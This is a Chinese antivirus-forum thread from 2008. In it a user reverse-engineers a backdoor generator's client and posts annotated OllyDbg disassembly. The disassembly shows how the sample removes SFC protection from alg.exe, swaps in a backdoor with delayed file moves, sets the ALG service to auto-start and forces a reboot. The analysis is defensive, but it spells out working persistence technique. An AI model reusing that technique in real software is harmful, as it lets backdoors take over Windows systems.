微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 【黑失败】在"微点"面前果然很失败
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  【黑失败】在"微点"面前果然很失败



   
好久不玩样本了,无聊去黑基转转,搞了一头“黑失败”的生成器下来,说明很强大,猜想它的蓝屏不是杀子系统就是winlogon,有损本本寿命,用重新启动生了一个,一看没壳,汇编写的。


004011BB            |. 8945 E8          mov dword ptr ss:[ebp-18],eax
004011BE            |. 53               push ebx                                 ; /WideBufSize
004011BF            |. FF75 E8          push dword ptr ss:[ebp-18]               ; |WideCharBuf
004011C2            |. 6A FF            push -1                                  ; |StringSize = FFFFFFFF (-1.)
004011C4            |. 68 84344000      push 复件_复?00403484                       ; |StringToMap = "C:\windows\system32\alg.exe"
004011C9            |. 6A 00            push 0                                   ; |Options = 0
004011CB            |. 6A 00            push 0                                   ; |CodePage = CP_ACP
004011CD            |. E8 4C030000      call <jmp.&kernel32.MultiByteToWideChar> ; \MultiByteToWideChar
004011D2            |. 68 2E344000      push 复件_复?0040342E                       ; /FileName = "sfc_os.dll"
004011D7            |. E8 2A030000      call <jmp.&kernel32.LoadLibraryA>        ; \LoadLibraryA
004011DC            |. 6A 05            push 5                                   ; /ProcNameOrOrdinal = #5
004011DE            |. 50               push eax                                 ; |hModule
004011DF            |. E8 0A030000      call <jmp.&kernel32.GetProcAddress>      ; \GetProcAddress
004011E4            |. 8945 E4          mov dword ptr ss:[ebp-1C],eax
004011E7            |. 6A FF            push -1
004011E9            |. FF75 E8          push dword ptr ss:[ebp-18]
004011EC            |. 6A 00            push 0
004011EE            |. FF55 E4          call dword ptr ss:[ebp-1C]               ;调用SfcFileException对C:\windows\system32\alg.exe去除SFC保护

查找自身3E8资源,释放到%SystemRoot%\system32\目录下命名为DNA.dll,同理找资源7D0释放algdna.exe,接下来

00401343            |. 68 04010000      push 104                                 ; /BufSize = 104 (260.)
00401348            |. 68 84344000      push 复件_复?00403484                       ; |Buffer = 复件_复?00403484
0040134D            |. E8 A2010000      call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401352            |. 68 56344000      push 复件_复?00403456                       ; /StringToAdd = "\alg.exe"
00401357            |. 68 84344000      push 复件_复?00403484                       ; |ConcatString = "C:\windows\system32\alg.exe"
0040135C            |. E8 F3010000      call <jmp.&kernel32.lstrcatA>            ; \lstrcatA
00401361            |. 68 04010000      push 104                                 ; /BufSize = 104 (260.)
00401366            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
0040136C            |. 50               push eax                                 ; |Buffer
0040136D            |. E8 82010000      call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401372            |. 68 5F344000      push 复件_复?0040345F                       ; /StringToAdd = "\sdk"
00401377            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
0040137D            |. 50               push eax                                 ; |ConcatString
0040137E            |. E8 D1010000      call <jmp.&kernel32.lstrcatA>            ; \lstrcatA
00401383            |. 6A 01            push 1                                   ; /Flags = REPLACE_EXISTING
00401385            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
0040138B            |. 50               push eax                                 ; |NewName,"C:\windows\system32\sdk"
0040138C            |. 68 84344000      push 复件_复?00403484                       ; |ExistingName = "C:\windows\system32\alg.exe"
00401391            |. E8 82010000      call <jmp.&kernel32.MoveFileExA>         ; \MoveFileExA,将alg.exe延时搬家到sdk
00401396            |. 6A 04            push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
00401398            |. 6A 00            push 0                                   ; |NewName = NULL
0040139A            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
004013A0            |. 50               push eax                                 ; |ExistingName,"C:\windows\system32\sdk"
004013A1            |. E8 72010000      call <jmp.&kernel32.MoveFileExA>         ; \MoveFileExA,延时拆房
004013A6            |. 68 04010000      push 104                                 ; /BufSize = 104 (260.)
004013AB            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
004013B1            |. 50               push eax                                 ; |Buffer
004013B2            |. E8 3D010000      call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
004013B7            |. 68 64344000      push 复件_复?00403464                       ; /StringToAdd = "\algdna.exe"
004013BC            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
004013C2            |. 50               push eax                                 ; |ConcatString
004013C3            |. E8 8C010000      call <jmp.&kernel32.lstrcatA>            ; \lstrcatA
004013C8            |. 6A 01            push 1                                   ; /Flags = REPLACE_EXISTING
004013CA            |. 68 84344000      push 复件_复?00403484                       ; |NewName = "C:\windows\system32\alg.exe"
004013CF            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
004013D5            |. 50               push eax                                 ; |ExistingName,"C:\windows\system32\algdna.exe"
004013D6            |. E8 3D010000      call <jmp.&kernel32.MoveFileExA>         ; \MoveFileExA,把后门放到拆过房的地基上,重盖房?很勤劳!换个门不可以么?
004013DB            |. 68 04010000      push 104                                 ; /BufSize = 104 (260.)
004013E0            |. 8D85 D0FDFFFF    lea eax,dword ptr ss:[ebp-230]           ; |
004013E6            |. 50               push eax                                 ; |PathBuffer
004013E7            |. 6A 00            push 0                                   ; |hModule = NULL
004013E9            |. E8 F4000000      call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004013EE            |. 6A 04            push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
004013F0            |. 6A 00            push 0                                   ; |NewName = NULL
004013F2            |. 8D85 D0FDFFFF    lea eax,dword ptr ss:[ebp-230]           ; |
004013F8            |. 50               push eax                                 ; |ExistingName,"C:\~~\黑失败2008 SP2正式版\复件 复件 客户端.exe"
004013F9            |. E8 1A010000      call <jmp.&kernel32.MoveFileExA>         ; \MoveFileExA,喝慢性毒药

然后 (字数限制未完 接下楼:。。)

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-7-27 16:42
查看资料  发送邮件  访问主页  发短消息   编辑帖子
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#2  

004013FE            |. 68 3F000F00      push 0F003F
00401403            |. 6A 00            push 0
00401405            |. 6A 00            push 0
00401407            |. E8 A6000000      call <jmp.&advapi32.OpenSCManagerA>
0040140C            |. 8BD8             mov ebx,eax
0040140E            |. 68 FF010F00      push 0F01FF
00401413            |. 68 70344000      push 客户端.00403470                        ; ASCII "ALG"
00401418            |. 53               push ebx
00401419            |. E8 9A000000      call <jmp.&advapi32.OpenServiceA>         ;打开ALG服务
0040141E            |. 8BF8             mov edi,eax
00401420            |. 53               push ebx
00401421            |. E8 7A000000      call <jmp.&advapi32.CloseServiceHandle>
00401426            |. 68 04010000      push 104                                 ; /Length = 104 (260.)
0040142B            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
00401431            |. 50               push eax                                 ; |Destination
00401432            |. E8 05010000      call <jmp.&kernel32.RtlZeroMemory>       ; \RtlZeroMemory
00401437            |. 6A 00            push 0                                   ; /DisplayName = NULL
00401439            |. 8D85 D4FEFFFF    lea eax,dword ptr ss:[ebp-12C]           ; |
0040143F            |. 50               push eax                                 ; |Password
00401440            |. 68 74344000      push 客户端.00403474                        ; |ServiceStartName = "LocalSystem"
00401445            |. 6A 00            push 0                                   ; |pDependencies = NULL
00401447            |. 6A 00            push 0                                   ; |pTagId = NULL
00401449            |. 6A 00            push 0                                   ; |LoadOrderGroup = NULL
0040144B            |. 6A 00            push 0                                   ; |BinaryPathName = NULL
0040144D            |. 6A FF            push -1                                  ; |ErrorControl = SERVICE_NO_CHANGE
0040144F            |. 6A 02            push 2                                   ; |StartType = SERVICE_AUTO_START,改变服务启动类型为自动,之前为手动
00401451            |. 68 20010000      push 120                                 ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS
00401456            |. 57               push edi                                 ; |hService
00401457            |. E8 3E000000      call <jmp.&advapi32.ChangeServiceConfigA>; \ChangeServiceConfigA
0040145C            |. 57               push edi
0040145D            |. E8 3E000000      call <jmp.&advapi32.CloseServiceHandle>

最后拿到自杀令牌准备开机后自杀,^_^

004010BC         /$ 55               push ebp
004010BD         |. 8BEC             mov ebp,esp
004010BF         |. 83C4 EC          add esp,-14
004010C2         |. 8D4D FC          lea ecx,dword ptr ss:[ebp-4]
004010C5         |. E8 12040000      call <jmp.&kernel32.GetCurrentProcess>                ; [GetCurrentProcess
004010CA         |. 51               push ecx                                              ; /phToken
004010CB         |. 68 FF010F00      push 0F01FF                                           ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
004010D0         |. 50               push eax                                              ; |hProcess
004010D1         |. E8 D6030000      call <jmp.&advapi32.OpenProcessToken>                 ; \OpenProcessToken
004010D6         |. C745 EC 01000000 mov dword ptr ss:[ebp-14],1
004010DD         |. 8D45 F0          lea eax,dword ptr ss:[ebp-10]
004010E0         |. 50               push eax                                              ; /pLocalId
004010E1         |. 68 00344000      push 客户端.00403400                                     ; |Privilege = "SeShutdownPrivilege"
004010E6         |. 6A 00            push 0                                                ; |SystemName = NULL
004010E8         |. E8 B9030000      call <jmp.&advapi32.LookupPrivilegeValueA>            ; \LookupPrivilegeValueA
004010ED         |. C745 F8 02000000 mov dword ptr ss:[ebp-8],2
004010F4         |. 6A 00            push 0                                                ; /pRetLen = NULL
004010F6         |. 6A 00            push 0                                                ; |pPrevState = NULL
004010F8         |. 6A 10            push 10                                               ; |PrevStateSize = 10 (16.)
004010FA         |. 8D45 EC          lea eax,dword ptr ss:[ebp-14]                         ; |
004010FD         |. 50               push eax                                              ; |pNewState
004010FE         |. 6A 00            push 0                                                ; |DisableAllPrivileges = FALSE
00401100         |. FF75 FC          push dword ptr ss:[ebp-4]                             ; |hToken
00401103         |. E8 8C030000      call <jmp.&advapi32.AdjustTokenPrivileges>            ; \AdjustTokenPrivileges
00401108         |. 50               push eax
00401109         |. FF75 FC          push dword ptr ss:[ebp-4]                             ; /hObject
0040110C         |. E8 AD030000      call <jmp.&kernel32.CloseHandle>                      ; \CloseHandle

创建自杀条件

00401462            |. E8 55FCFFFF      call 客户端.004010BC
00401467            |. 6A 00            push 0                                   ; /Reserved = 0
00401469            |. 6A 02            push 2                                   ; |Options = EWX_REBOOT
0040146B            |. E8 1E000000      call <jmp.&user32.ExitWindowsEx>         ; \ExitWindowsEx

总之很好很强大,在微点面前不愧为“黑失败”,只有自杀功能完成了,也就是前面代码为什么会以复件方式出现的原因了。微点两次报警全部放过,房子吔拆了,只不过拆的不是很高名,自杀水平倒是不错,重启后一个病毒进程都没发现,原因见微点日志,^_^。
   

BY::unknown author

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-7-27 16:43
查看资料  发送邮件  访问主页  发短消息   编辑帖子
遥遥遥遥
新手上路





积分 1
发帖 1
注册 2008-7-27
#3  

很好很强大

※ ※ ※ 本文纯属【遥遥遥遥】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-7-27 18:17
查看资料  发送邮件  发短消息   编辑帖子
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#4  




※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-11-7 09:33
查看资料  发送邮件  访问主页  发短消息   编辑帖子
yurong7777777
高级用户





积分 536
发帖 534
注册 2008-9-12
#5  

秀好很欣喜

※ ※ ※ 本文纯属【yurong7777777】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-11-7 17:37
查看资料  发送邮件  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号